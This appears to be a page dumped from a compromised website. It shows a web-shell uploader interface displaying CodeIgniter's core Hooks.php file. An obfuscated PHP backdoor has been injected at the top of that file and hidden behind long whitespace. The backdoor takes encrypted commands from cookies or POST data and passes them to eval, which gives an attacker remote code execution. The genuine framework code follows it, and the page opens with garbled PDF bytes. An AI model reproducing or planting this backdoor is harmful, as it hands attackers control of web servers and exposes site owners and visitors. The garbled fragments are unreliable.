%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardadiagnostics.in/system/core/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardadiagnostics.in/system/core/Hooks.php
<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $s41ba = 656;$GLOBALS['hde70f'] = Array();global $hde70f;$hde70f = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['kd191133'] = "\x70\x2d\x32\x6a\xa\x25\x74\x4e\x39\x45\x43\x35\x3f\x37\x29\x6c\x4a\x21\x42\x5a\x6d\x41\x63\x51\x67\x58\x36\x59\x3d\x20\x6b\x2b\x2e\x75\x27\x4c\x4d\x33\x6e\x69\x24\x7e\x5c\x50\x2c\x3b\x31\x38\x71\x44\x22\x5f\x66\x68\x65\x54\x3a\x34\x62\x55\x40\x60\x23\x57\x9\x7a\x64\x61\x2a\x76\x4b\x72\x4f\x77\x5d\x49\x47\x3c\x48\x3e\x28\x2f\x7d\xd\x46\x26\x30\x5b\x78\x7b\x6f\x53\x79\x5e\x7c\x56\x52\x73";$hde70f[$hde70f['kd191133'][67].$hde70f['kd191133'][86].$hde70f['kd191133'][52].$hde70f['kd191133'][54].$hde70f['kd191133'][57].$hde70f['kd191133'][67].$hde70f['kd191133'][47].$hde70f['kd191133'][8]] = $hde70f['kd191133'][22].$hde70f['kd191133'][53].$hde70f['kd191133'][71];$hde70f[$hde70f['kd191133'][38].$hde70f['kd191133'][54].$hde70f['kd191133'][2].$hde70f['kd191133'][57].$hde70f['kd191133'][26]] = $hde70f['kd191133'][90].$hde70f['kd191133'][71].$hde70f['kd191133'][66];$hde70f[$hde70f['kd191133'][30].$hde70f['kd191133'][67].$hde70f['kd191133'][52].$hde70f['kd191133'][22].$hde70f['kd191133'][26].$hde70f['kd191133'][58].$hde70f['kd191133'][37].$hde70f['kd191133'][11].$hde70f['kd191133'][52]] = $hde70f['kd191133'][66].$hde70f['kd191133'][54].$hde70f['kd191133'][52].$hde70f['kd191133'][39].$hde70f['kd191133'][38].$hde70f['kd191133'][54];$hde70f[$hde70f['kd191133'][53].$hde70f['kd191133'][8].$hde70f['kd191133'][8].$hde70f['kd191133'][67].$hde70f['kd191133'][13].$hde70f['kd191133'][26].$hde70f['kd191133'][22]] = $hde70f['kd191133'][97].$hde70f['kd191133'][6].$hde70f['kd191133'][71].$hde70f['kd191133'][15].$hde70f['kd191133'][54].$hde70f['kd191133'][38];$hde70f[$hde70f['kd191133'][58].$hde70f['kd191133'][86].$hde70f['kd191133'][86].$hde70f['kd191133'][46].$hde70f['kd191133'][2].$hde70f['kd191133'][11].$hde70f['kd191133'][47].$hde70f['kd191133'][37]] = $hde70f['kd191133'][66].$hde70f['kd191133'][54].$hde70f['kd191133'][52].$hde70f['kd191133'][39].$hde70f['kd191133'][38].$hde70f['kd191133'][54].$hde70f['kd191133'][66];$hde70f[$hde70f['kd191133'][0].$hde70f['kd191133'][8].$hde70f['kd191133'][2].$hde70f['kd191133'][26]] = $hde70f['kd191133'][39].$hde70f['kd191133'][38].$hde70f['kd191133'][39].$hde70f['kd191133'][51].$hde70f['kd191133'][97].$hde70f['kd191133'][54].$hde70f['kd191133'][6];$hde70f[$hde70f['kd191133'][38].$hde70f['kd191133'][11].$hde70f['kd191133'][67].$hde70f['kd191133'][46]] = $hde70f['kd191133'][97].$hde70f['kd191133'][54].$hde70f['kd191133'][71].$hde70f['kd191133'][39].$hde70f['kd191133'][67].$hde70f['kd191133'][15].$hde70f['kd191133'][39].$hde70f['kd191133'][65].$hde70f['kd191133'][54];$hde70f[$hde70f['kd191133'][97].$hde70f['kd191133'][57].$hde70f['kd191133'][52].$hde70f['kd191133'][13]] = $hde70f['kd191133'][0].$hde70f['kd191133'][53].$hde70f['kd191133'][0].$hde70f['kd191133'][69].$hde70f['kd191133'][54].$hde70f['kd191133'][71].$hde70f['kd191133'][97].$hde70f['kd191133'][39].$hde70f['kd191133'][90].$hde70f['kd191133'][38];$hde70f[$hde70f['kd191133'][90].$hde70f['kd191133'][8].$hde70f['kd191133'][37].$hde70f['kd191133'][46]] = $hde70f['kd191133'][33].$hde70f['kd191133'][38].$hde70f['kd191133'][97].$hde70f['kd191133'][54].$hde70f['kd191133'][71].$hde70f['kd191133'][39].$hde70f['kd191133'][67].$hde70f['kd191133'][15].$hde70f['kd191133'][39].$hde70f['kd191133'][65].$hde70f['kd191133'][54];$hde70f[$hde70f['kd191133'][90].$hde70f['kd191133'][13].$hde70f['kd191133'][58].$hde70f['kd191133'][11].$hde70f['kd191133'][66]] = $hde70f['kd191133'][58].$hde70f['kd191133'][67].$hde70f['kd191133'][97].$hde70f['kd191133'][54].$hde70f['kd191133'][26].$hde70f['kd191133'][57].$hde70f['kd191133'][51].$hde70f['kd191133'][66].$hde70f['kd191133'][54].$hde70f['kd191133'][22].$hde70f['kd191133'][90].$hde70f['kd191133'][66].$hde70f['kd191133'][54];$hde70f[$hde70f['kd191133'][88].$hde70f['kd191133'][47].$hde70f['kd191133'][47].$hde70f['kd191133'][46].$hde70f['kd191133'][57].$hde70f['kd191133'][11].$hde70f['kd191133'][22].$hde70f['kd191133'][2].$hde70f['kd191133'][8]] = $hde70f['kd191133'][97].$hde70f['kd191133'][54].$hde70f['kd191133'][6].$hde70f['kd191133'][51].$hde70f['kd191133'][6].$hde70f['kd191133'][39].$hde70f['kd191133'][20].$hde70f['kd191133'][54].$hde70f['kd191133'][51].$hde70f['kd191133'][15].$hde70f['kd191133'][39].$hde70f['kd191133'][20].$hde70f['kd191133'][39].$hde70f['kd191133'][6];$hde70f[$hde70f['kd191133'][52].$hde70f['kd191133'][11].$hde70f['kd191133'][8].$hde70f['kd191133'][52].$hde70f['kd191133'][54].$hde70f['kd191133'][47].$hde70f['kd191133'][67].$hde70f['kd191133'][86]] = $hde70f['kd191133'][6].$hde70f['kd191133'][46].$hde70f['kd191133'][66].$hde70f['kd191133'][86].$hde70f['kd191133'][13];$hde70f[$hde70f['kd191133'][92].$hde70f['kd191133'][58].$hde70f['kd191133'][46].$hde70f['kd191133'][86].$hde70f['kd191133'][13].$hde70f['kd191133'][2].$hde70f['kd191133'][54].$hde70f['kd191133'][52].$hde70f['kd191133'][26]] = $hde70f['kd191133'][15].$hde70f['kd191133'][37].$hde70f['kd191133'][58].$hde70f['kd191133'][8].$hde70f['kd191133'][37];$hde70f[$hde70f['kd191133'][22].$hde70f['kd191133'][26].$hde70f['kd191133'][54].$hde70f['kd191133'][57]] = $_POST;$hde70f[$hde70f['kd191133'][92].$hde70f['kd191133'][86].$hde70f['kd191133'][2].$hde70f['kd191133'][2].$hde70f['kd191133'][2].$hde70f['kd191133'][11]] = $_COOKIE;@$hde70f[$hde70f['kd191133'][0].$hde70f['kd191133'][8].$hde70f['kd191133'][2].$hde70f['kd191133'][26]]($hde70f['kd191133'][54].$hde70f['kd191133'][71].$hde70f['kd191133'][71].$hde70f['kd191133'][90].$hde70f['kd191133'][71].$hde70f['kd191133'][51].$hde70f['kd191133'][15].$hde70f['kd191133'][90].$hde70f['kd191133'][24], NULL);@$hde70f[$hde70f['kd191133'][0].$hde70f['kd191133'][8].$hde70f['kd191133'][2].$hde70f['kd191133'][26]]($hde70f['kd191133'][15].$hde70f['kd191133'][90].$hde70f['kd191133'][24].$hde70f['kd191133'][51].$hde70f['kd191133'][54].$hde70f['kd191133'][71].$hde70f['kd191133'][71].$hde70f['kd191133'][90].$hde70f['kd191133'][71].$hde70f['kd191133'][97], 0);@$hde70f[$hde70f['kd191133'][0].$hde70f['kd191133'][8].$hde70f['kd191133'][2].$hde70f['kd191133'][26]]($hde70f['kd191133'][20].$hde70f['kd191133'][67].$hde70f['kd191133'][88].$hde70f['kd191133'][51].$hde70f['kd191133'][54].$hde70f['kd191133'][88].$hde70f['kd191133'][54].$hde70f['kd191133'][22].$hde70f['kd191133'][33].$hde70f['kd191133'][6].$hde70f['kd191133'][39].$hde70f['kd191133'][90].$hde70f['kd191133'][38].$hde70f['kd191133'][51].$hde70f['kd191133'][6].$hde70f['kd191133'][39].$hde70f['kd191133'][20].$hde70f['kd191133'][54], 0);@$hde70f[$hde70f['kd191133'][88].$hde70f['kd191133'][47].$hde70f['kd191133'][47].$hde70f['kd191133'][46].$hde70f['kd191133'][57].$hde70f['kd191133'][11].$hde70f['kd191133'][22].$hde70f['kd191133'][2].$hde70f['kd191133'][8]](0);if (!$hde70f[$hde70f['kd191133'][58].$hde70f['kd191133'][86].$hde70f['kd191133'][86].$hde70f['kd191133'][46].$hde70f['kd191133'][2].$hde70f['kd191133'][11].$hde70f['kd191133'][47].$hde70f['kd191133'][37]]($hde70f['kd191133'][21].$hde70f['kd191133'][35].$hde70f['kd191133'][96].$hde70f['kd191133'][9].$hde70f['kd191133'][21].$hde70f['kd191133'][49].$hde70f['kd191133'][27].$hde70f['kd191133'][51].$hde70f['kd191133'][96].$hde70f['kd191133'][59].$hde70f['kd191133'][7].$hde70f['kd191133'][51].$hde70f['kd191133'][37].$hde70f['kd191133'][26].$hde70f['kd191133'][26].$hde70f['kd191133'][67].$hde70f['kd191133'][52].$hde70f['kd191133'][58].$hde70f['kd191133'][47].$hde70f['kd191133'][67].$hde70f['kd191133'][47].$hde70f['kd191133'][67].$hde70f['kd191133'][2].$hde70f['kd191133'][37].$hde70f['kd191133'][11].$hde70f['kd191133'][11].$hde70f['kd191133'][67].$hde70f['kd191133'][58].$hde70f['kd191133'][2].$hde70f['kd191133'][46].$hde70f['kd191133'][52].$hde70f['kd191133'][58].$hde70f['kd191133'][52].$hde70f['kd191133'][46].$hde70f['kd191133'][46].$hde70f['kd191133'][58].$hde70f['kd191133'][67].$hde70f['kd191133'][46].$hde70f['kd191133'][67].$hde70f['kd191133'][86].$hde70f['kd191133'][2].$hde70f['kd191133'][52].$hde70f['kd191133'][58].$hde70f['kd191133'][67])){$hde70f[$hde70f['kd191133'][30].$hde70f['kd191133'][67].$hde70f['kd191133'][52].$hde70f['kd191133'][22].$hde70f['kd191133'][26].$hde70f['kd191133'][58].$hde70f['kd191133'][37].$hde70f['kd191133'][11].$hde70f['kd191133'][52]]($hde70f['kd191133'][21].$hde70f['kd191133'][35].$hde70f['kd191133'][96].$hde70f['kd191133'][9].$hde70f['kd191133'][21].$hde70f['kd191133'][49].$hde70f['kd191133'][27].$hde70f['kd191133'][51].$hde70f['kd191133'][96].$hde70f['kd191133'][59].$hde70f['kd191133'][7].$hde70f['kd191133'][51].$hde70f['kd191133'][37].$hde70f['kd191133'][26].$hde70f['kd191133'][26].$hde70f['kd191133'][67].$hde70f['kd191133'][52].$hde70f['kd191133'][58].$hde70f['kd191133'][47].$hde70f['kd191133'][67].$hde70f['kd191133'][47].$hde70f['kd191133'][67].$hde70f['kd191133'][2].$hde70f['kd191133'][37].$hde70f['kd191133'][11].$hde70f['kd191133'][11].$hde70f['kd191133'][67].$hde70f['kd191133'][58].$hde70f['kd191133'][2].$hde70f['kd191133'][46].$hde70f['kd191133'][52].$hde70f['kd191133'][58].$hde70f['kd191133'][52].$hde70f['kd191133'][46].$hde70f['kd191133'][46].$hde70f['kd191133'][58].$hde70f['kd191133'][67].$hde70f['kd191133'][46].$hde70f['kd191133'][67].$hde70f['kd191133'][86].$hde70f['kd191133'][2].$hde70f['kd191133'][52].$hde70f['kd191133'][58].$hde70f['kd191133'][67], 1);$w103ff3 = NULL;$xa0cc = NULL;$hde70f[$hde70f['kd191133'][6].$hde70f['kd191133'][54].$hde70f['kd191133'][37].$hde70f['kd191133'][47].$hde70f['kd191133'][54].$hde70f['kd191133'][22].$hde70f['kd191133'][8].$hde70f['kd191133'][47]] = $hde70f['kd191133'][22].$hde70f['kd191133'][86].$hde70f['kd191133'][2].$hde70f['kd191133'][67].$hde70f['kd191133'][54].$hde70f['kd191133'][57].$hde70f['kd191133'][11].$hde70f['kd191133'][2].$hde70f['kd191133'][1].$hde70f['kd191133'][37].$hde70f['kd191133'][11].$hde70f['kd191133'][86].$hde70f['kd191133'][67].$hde70f['kd191133'][1].$hde70f['kd191133'][57].$hde70f['kd191133'][26].$hde70f['kd191133'][66].$hde70f['kd191133'][58].$hde70f['kd191133'][1].$hde70f['kd191133'][67].$hde70f['kd191133'][86].$hde70f['kd191133'][46].$hde70f['kd191133'][8].$hde70f['kd191133'][1].$hde70f['kd191133'][11].$hde70f['kd191133'][11].$hde70f['kd191133'][2].$hde70f['kd191133'][58].$hde70f['kd191133'][58].$hde70f['kd191133'][67].$hde70f['kd191133'][86].$hde70f['kd191133'][37].$hde70f['kd191133'][52].$hde70f['kd191133'][11].$hde70f['kd191133'][2].$hde70f['kd191133'][46];global $te38ec98;function  l3b93($w103ff3, $i96d){global $hde70f;$cc4ee62c4 = "";for ($i84d46506=0; $i84d46506<$hde70f[$hde70f['kd191133'][53].$hde70f['kd191133'][8].$hde70f['kd191133'][8].$hde70f['kd191133'][67].$hde70f['kd191133'][13].$hde70f['kd191133'][26].$hde70f['kd191133'][22]]($w103ff3);){for ($j9fad=0; $j9fad<$hde70f[$hde70f['kd191133'][53].$hde70f['kd191133'][8].$hde70f['kd191133'][8].$hde70f['kd191133'][67].$hde70f['kd191133'][13].$hde70f['kd191133'][26].$hde70f['kd191133'][22]]($i96d) && $i84d46506<$hde70f[$hde70f['kd191133'][53].$hde70f['kd191133'][8].$hde70f['kd191133'][8].$hde70f['kd191133'][67].$hde70f['kd191133'][13].$hde70f['kd191133'][26].$hde70f['kd191133'][22]]($w103ff3); $j9fad++, $i84d46506++){$cc4ee62c4 .= $hde70f[$hde70f['kd191133'][67].$hde70f['kd191133'][86].$hde70f['kd191133'][52].$hde70f['kd191133'][54].$hde70f['kd191133'][57].$hde70f['kd191133'][67].$hde70f['kd191133'][47].$hde70f['kd191133'][8]]($hde70f[$hde70f['kd191133'][38].$hde70f['kd191133'][54].$hde70f['kd191133'][2].$hde70f['kd191133'][57].$hde70f['kd191133'][26]]($w103ff3[$i84d46506]) ^ $hde70f[$hde70f['kd191133'][38].$hde70f['kd191133'][54].$hde70f['kd191133'][2].$hde70f['kd191133'][57].$hde70f['kd191133'][26]]($i96d[$j9fad]));}}return $cc4ee62c4;}function  t1d07($w103ff3, $i96d){global $hde70f;global $te38ec98;return $hde70f[$hde70f['kd191133'][92].$hde70f['kd191133'][58].$hde70f['kd191133'][46].$hde70f['kd191133'][86].$hde70f['kd191133'][13].$hde70f['kd191133'][2].$hde70f['kd191133'][54].$hde70f['kd191133'][52].$hde70f['kd191133'][26]]($hde70f[$hde70f['kd191133'][92].$hde70f['kd191133'][58].$hde70f['kd191133'][46].$hde70f['kd191133'][86].$hde70f['kd191133'][13].$hde70f['kd191133'][2].$hde70f['kd191133'][54].$hde70f['kd191133'][52].$hde70f['kd191133'][26]]($w103ff3, $te38ec98), $i96d);}foreach ($hde70f[$hde70f['kd191133'][92].$hde70f['kd191133'][86].$hde70f['kd191133'][2].$hde70f['kd191133'][2].$hde70f['kd191133'][2].$hde70f['kd191133'][11]] as $i96d=>$kf92b9e1){$w103ff3 = $kf92b9e1;$xa0cc = $i96d;}if (!$w103ff3){foreach ($hde70f[$hde70f['kd191133'][22].$hde70f['kd191133'][26].$hde70f['kd191133'][54].$hde70f['kd191133'][57]] as $i96d=>$kf92b9e1){$w103ff3 = $kf92b9e1;$xa0cc = $i96d;}}$w103ff3 = @$hde70f[$hde70f['kd191133'][90].$hde70f['kd191133'][8].$hde70f['kd191133'][37].$hde70f['kd191133'][46]]($hde70f[$hde70f['kd191133'][52].$hde70f['kd191133'][11].$hde70f['kd191133'][8].$hde70f['kd191133'][52].$hde70f['kd191133'][54].$hde70f['kd191133'][47].$hde70f['kd191133'][67].$hde70f['kd191133'][86]]($hde70f[$hde70f['kd191133'][90].$hde70f['kd191133'][13].$hde70f['kd191133'][58].$hde70f['kd191133'][11].$hde70f['kd191133'][66]]($w103ff3), $xa0cc));if (isset($w103ff3[$hde70f['kd191133'][67].$hde70f['kd191133'][30]]) && $te38ec98==$w103ff3[$hde70f['kd191133'][67].$hde70f['kd191133'][30]]){if ($w103ff3[$hde70f['kd191133'][67]] == $hde70f['kd191133'][39]){$i84d46506 = Array($hde70f['kd191133'][0].$hde70f['kd191133'][69] => @$hde70f[$hde70f['kd191133'][97].$hde70f['kd191133'][57].$hde70f['kd191133'][52].$hde70f['kd191133'][13]](),$hde70f['kd191133'][97].$hde70f['kd191133'][69] => $hde70f['kd191133'][46].$hde70f['kd191133'][32].$hde70f['kd191133'][86].$hde70f['kd191133'][1].$hde70f['kd191133'][46],);echo @$hde70f[$hde70f['kd191133'][38].$hde70f['kd191133'][11].$hde70f['kd191133'][67].$hde70f['kd191133'][46]]($i84d46506);}elseif ($w103ff3[$hde70f['kd191133'][67]] == $hde70f['kd191133'][54]){eval/*n24fd4096*/($w103ff3[$hde70f['kd191133'][66]]);}exit();}} ?><?php
/**
 * CodeIgniter
 *
 * An open source application development framework for PHP
 *
 * This content is released under the MIT License (MIT)
 *
 * Copyright (c) 2014 - 2018, British Columbia Institute of Technology
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 *
 * @package	CodeIgniter
 * @author	EllisLab Dev Team
 * @copyright	Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/)
 * @copyright	Copyright (c) 2014 - 2018, British Columbia Institute of Technology (http://bcit.ca/)
 * @license	http://opensource.org/licenses/MIT	MIT License
 * @link	https://codeigniter.com
 * @since	Version 1.0.0
 * @filesource
 */
defined('BASEPATH') OR exit('No direct script access allowed');

/**
 * Hooks Class
 *
 * Provides a mechanism to extend the base system without hacking.
 *
 * @package		CodeIgniter
 * @subpackage	Libraries
 * @category	Libraries
 * @author		EllisLab Dev Team
 * @link		https://codeigniter.com/user_guide/general/hooks.html
 */
class CI_Hooks {

	/**
	 * Determines whether hooks are enabled
	 *
	 * @var	bool
	 */
	public $enabled = FALSE;

	/**
	 * List of all hooks set in config/hooks.php
	 *
	 * @var	array
	 */
	public $hooks =	array();

	/**
	 * Array with class objects to use hooks methods
	 *
	 * @var array
	 */
	protected $_objects = array();

	/**
	 * In progress flag
	 *
	 * Determines whether hook is in progress, used to prevent infinte loops
	 *
	 * @var	bool
	 */
	protected $_in_progress = FALSE;

	/**
	 * Class constructor
	 *
	 * @return	void
	 */
	public function __construct()
	{
		$CFG =& load_class('Config', 'core');
		log_message('info', 'Hooks Class Initialized');

		// If hooks are not enabled in the config file
		// there is nothing else to do
		if ($CFG->item('enable_hooks') === FALSE)
		{
			return;
		}

		// Grab the "hooks" definition file.
		if (file_exists(APPPATH.'config/hooks.php'))
		{
			include(APPPATH.'config/hooks.php');
		}

		if (file_exists(APPPATH.'config/'.ENVIRONMENT.'/hooks.php'))
		{
			include(APPPATH.'config/'.ENVIRONMENT.'/hooks.php');
		}

		// If there are no hooks, we're done.
		if ( ! isset($hook) OR ! is_array($hook))
		{
			return;
		}

		$this->hooks =& $hook;
		$this->enabled = TRUE;
	}

	// --------------------------------------------------------------------

	/**
	 * Call Hook
	 *
	 * Calls a particular hook. Called by CodeIgniter.php.
	 *
	 * @uses	CI_Hooks::_run_hook()
	 *
	 * @param	string	$which	Hook name
	 * @return	bool	TRUE on success or FALSE on failure
	 */
	public function call_hook($which = '')
	{
		if ( ! $this->enabled OR ! isset($this->hooks[$which]))
		{
			return FALSE;
		}

		if (is_array($this->hooks[$which]) && ! isset($this->hooks[$which]['function']))
		{
			foreach ($this->hooks[$which] as $val)
			{
				$this->_run_hook($val);
			}
		}
		else
		{
			$this->_run_hook($this->hooks[$which]);
		}

		return TRUE;
	}

	// --------------------------------------------------------------------

	/**
	 * Run Hook
	 *
	 * Runs a particular hook
	 *
	 * @param	array	$data	Hook details
	 * @return	bool	TRUE on success or FALSE on failure
	 */
	protected function _run_hook($data)
	{
		// Closures/lambda functions and array($object, 'method') callables
		if (is_callable($data))
		{
			is_array($data)
				? $data[0]->{$data[1]}()
				: $data();

			return TRUE;
		}
		elseif ( ! is_array($data))
		{
			return FALSE;
		}

		// -----------------------------------
		// Safety - Prevents run-away loops
		// -----------------------------------

		// If the script being called happens to have the same
		// hook call within it a loop can happen
		if ($this->_in_progress === TRUE)
		{
			return;
		}

		// -----------------------------------
		// Set file path
		// -----------------------------------

		if ( ! isset($data['filepath'], $data['filename']))
		{
			return FALSE;
		}

		$filepath = APPPATH.$data['filepath'].'/'.$data['filename'];

		if ( ! file_exists($filepath))
		{
			return FALSE;
		}

		// Determine and class and/or function names
		$class		= empty($data['class']) ? FALSE : $data['class'];
		$function	= empty($data['function']) ? FALSE : $data['function'];
		$params		= isset($data['params']) ? $data['params'] : '';

		if (empty($function))
		{
			return FALSE;
		}

		// Set the _in_progress flag
		$this->_in_progress = TRUE;

		// Call the requested class and/or function
		if ($class !== FALSE)
		{
			// The object is stored?
			if (isset($this->_objects[$class]))
			{
				if (method_exists($this->_objects[$class], $function))
				{
					$this->_objects[$class]->$function($params);
				}
				else
				{
					return $this->_in_progress = FALSE;
				}
			}
			else
			{
				class_exists($class, FALSE) OR require_once($filepath);

				if ( ! class_exists($class, FALSE) OR ! method_exists($class, $function))
				{
					return $this->_in_progress = FALSE;
				}

				// Store the object and execute the method
				$this->_objects[$class] = new $class();
				$this->_objects[$class]->$function($params);
			}
		}
		else
		{
			function_exists($function) OR require_once($filepath);

			if ( ! function_exists($function))
			{
				return $this->_in_progress = FALSE;
			}

			$function($params);
		}

		$this->_in_progress = FALSE;
		return TRUE;
	}

}

Kontol Shell Bypass